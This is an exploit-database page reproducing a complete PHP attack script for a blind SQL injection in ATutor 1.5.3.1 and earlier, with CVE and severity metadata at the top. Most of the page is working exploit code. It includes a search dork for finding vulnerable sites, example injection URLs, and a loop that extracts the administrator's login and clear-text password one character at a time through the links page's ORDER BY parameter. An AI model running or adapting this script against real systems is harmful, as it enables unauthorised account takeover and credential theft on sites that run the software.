Advertisement






ATutor <= 1.5.3.1 'links' blind SQL injection / admin credentials disclosure

CVE Category Price Severity
CVE-2011-1211 CWE-89 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2006-08-13
CPE PURL
cpe:cpe:/a:atutor:atutor:1.5.3
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2006080039

Below is a copy:

#!/usr/bin/php -q -d short_open_tag=on

<?

echo "ATutor <= 1.5.3.1 'links' blind SQL injection / admin credentials disclosuren";

echo "by rgod rgod (at) autistici (dot) org [email concealed]n";

echo "site: http://retrogod.altervista.orgn";

echo "dork, version specific: "Web site engine's code is copyright"  "2001-2006 ATutor" "About ATutor"nn";

/*

- works regardless of php.ini settings

- with Mysql >= 4.1 (allowing SELECT subqueries for ORDER BY statements)

see http://dev.mysql.com/doc/refman/5.0/en/subqueries.html

- with at least 2 links in at_links table

*/

if ($argc<5) {

echo "Usage: php ".$argv[0]." host path user pass OPTIONSrn";

echo "host:      target server (ip/hostname)rn";

echo "path:      path to ATutorrn";

echo "user/pass: you need a valid simple user accountrn";

echo "Options:rn";

echo "   -T[prefix]   specify a table prefix different from default (at_)rn";

echo "   -p[port]:    specify a port other than 80rn";

echo "   -P[ip:port]: specify a proxyrn";

echo "Example:rn";

echo "php ".$argv[0]." localhost /atutor/ username passwordrn";

echo "php ".$argv[0]." localhost /atutor/ username password -Tatutor_rn";

die;

}

/*

software site: http://www.atutor.ca/

vulnerable code in /links/index.php at lines 92-100

...

//get links

$groups = implode(',', $_SESSION['groups']);

if (!empty($groups)) {

$sql = "SELECT * FROM ".TABLE_PREFIX."links L INNER JOIN ".TABLE_PREFIX."links_categories C USING (cat_id) WHERE ((owner_id=$_SESSION[course_id] AND owner_type=".LINK_CAT_COURSE.") OR (owner_id IN ($groups) AND owner_type=".LINK_CAT_GROUP.")) AND L.Approved=1 AND $search AND $cat_sql ORDER BY $col $order";

} else {

$sql = "SELECT * FROM ".TABLE_PREFIX."links L INNER JOIN ".TABLE_PREFIX."links_categories C USING (cat_id) WHERE (owner_id=$_SESSION[course_id] AND owner_type=".LINK_CAT_COURSE.") AND L.Approved=1 AND $search AND $cat_sql ORDER BY $col $order";

}

$result = mysql_query($sql, $db);

...

with MySQL >= 4.1 you can inject a subquery after the ORDER BY statement, ex:

http://[target]/[path_to_atutor]/links/index.php?desc=(SELECT(IF((ASCII(
SUBSTRING(password,1,1))=101),LinkName,Description))FROM%20at_admins)%20
DESC%20LIMIT%202/*

http://[target]/[path_to_atutor]/links/index.php?asc=(SELECT(IF((ASCII(S
UBSTRING(login,1,1))=102),LinkName,Description))FROM%20at_admins)%20DESC
%20LIMIT%202/*

query becomes like this:

SELECT * FROM AT_links L INNER JOIN AT_links_categories C USING (cat_id) WHERE (owner_id=1 AND owner_type=1) AND L.Approved=1 AND 1 AND 1 ORDER BY (SELECT(IF((ASCII(SUBSTRING(login,1,1))=101),LinkName,Description))FROM at_admins) DESC LIMIT 2/* desc

so you can ask true/false questions to the database about the admin username/clear text password

you will see results in the way links are ordered at screen

You need at least two rows in at_links table

Other queries may be vulnerable to this kind of injection, since ORDER BY statements

are not checked at all...

This may hide undisclosed vulnerabilities in a lot of apps, I suppose...

*/

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.="  .";}

else

{$result.="  ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}

}

return $exa."rn".$result;

}

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "rn".$html;

}

$host=$argv[1];

$path=$argv[2];

$port=80;

$user=$argv[3];

$pass=$argv[4];

$prefix="at_";

$proxy="";

for ($i=3; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

if ($temp=="-T")

{

$prefix=str_replace("-T","",$argv[$i]);

}

}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$packet ="GET ".$p."login.php HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Connection: Closernrn";

$packet.=$data;

sendpacketii($packet);

$temp=explode("Set-Cookie: ",$html);

$cookie="";

for ($i=1; $i<count($temp); $i++)

{

$temp2=explode(" ",$temp[$i]);

$cookie.=" ".$temp2[0];

}

$temp=explode("password.value + "",$html);

$temp2=explode(""",$temp[1]);

$what=$temp2[0];

echo "salt -> ".$what."rn";

$data ="form_login_action=true";

$data.="&form_course_id=0";

$data.="&form_password_hidden=".sha1($pass.$what);

$data.="&form_login=".$user;

$data.="&form_password=";

$data.="&submit=Login";

$packet ="POST ".$p."login.php HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Accept: text/plainrn";

$packet.="Connection: Closern";

$packet.="Content-Type: application/x-www-form-urlencodedrn";

$packet.="Cookie: ".$cookie."rn";

$packet.="Content-Length: ".strlen($data)."rnrn";

$packet.=$data;

sendpacketii($packet);

$temp=explode("Set-Cookie: ",$html);

$cookie="";

for ($i=1; $i<count($temp); $i++)

{

$temp2=explode(" ",$temp[$i]);

$cookie.=" ".$temp2[0];

}

$packet ="GET ".$p."bounce.php?course=1 HTTP/1.0rn";//it seems you have to browse some page before to go to links panel

$packet.="Host: ".$host."rn";

$packet.="Cookie: ".$cookie."rn";

$packet.="Connection: Closernrn";

$packet.=$data;

sendpacketii($packet);

$temp=explode("Set-Cookie: ",$html);

$cookie="";

for ($i=1; $i<count($temp); $i++)

{

$temp2=explode(" ",$temp[$i]);

$cookie.=" ".$temp2[0];

}

echo "cookie -> ".$cookie."rn";

$j=1;

$my_password="";

while (!strstr($my_password,chr(0)))

{

for ($i=0; $i<=255; $i++)

{

$sql="(SELECT(IF((ASCII(SUBSTRING(password,$j,1))=".$i."),LinkName,Descr
iption))FROM/**/".$prefix."admins)/**/DESC/**/LIMIT/**/2/*";

echo "sql -> ".$sql."rn";

$sql=urlencode($sql);

$packet ="GET ".$p."links/index.php?desc=$sql HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Cookie: ".$cookie."rn";

$packet.="Connection: Closernrn";

$packet.=$data;

sendpacketii($packet);

$temp=explode("<tr onmousedown="document.form['",$html);

$temp2=explode("']",$temp[1]);

$my_check=$temp2[0];

echo "check -> ".$my_check."rn";

if ($my_check=="m1") {$my_password.=chr($i);echo "password -> ".$my_password."[???]rn";sleep(2);break;}

elseif ($my_check=="m2") {continue;}

elseif ($my_check=="") {die("Exploit failed, maybe wrong table prefix or simply failed to login...");}

if ($i==255) {die("Exploit failed...");}

}

$j++;

}

$j=1;

$my_admin="";

while (!strstr($my_admin,chr(0)))

{

for ($i=0; $i<=255; $i++)

{

$sql="(SELECT(IF((ASCII(SUBSTRING(login,$j,1))=".$i."),LinkName,Descript
ion))FROM/**/".$prefix."admins)/**/DESC/**/LIMIT/**/2/*";

echo "sql -> ".$sql."rn";

$sql=urlencode($sql);

$packet ="GET ".$p."links/index.php?desc=$sql HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Cookie: ".$cookie."rn";

$packet.="Connection: Closernrn";

$packet.=$data;

sendpacketii($packet);

$temp=explode("<tr onmousedown="document.form['",$html);

$temp2=explode("']",$temp[1]);

$my_check=$temp2[0];

echo "check -> ".$my_check."rn";

if ($my_check=="m1") {$my_admin.=chr($i);echo "admin -> ".$my_admin."[???]rn";sleep(2);break;}

elseif ($my_check=="m2") {continue;}

if ($i==255) {die("Exploit failed...");}

}

$j++;

}

echo "----------------------------------------------------------n";

echo "admin                 -> ".$my_admin."n";

echo "password (clear text) -> ".$my_password."n";

echo "----------------------------------------------------------n";

?>

original url: http://retrogod.altervista.org/atutor_1531_sql.html

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum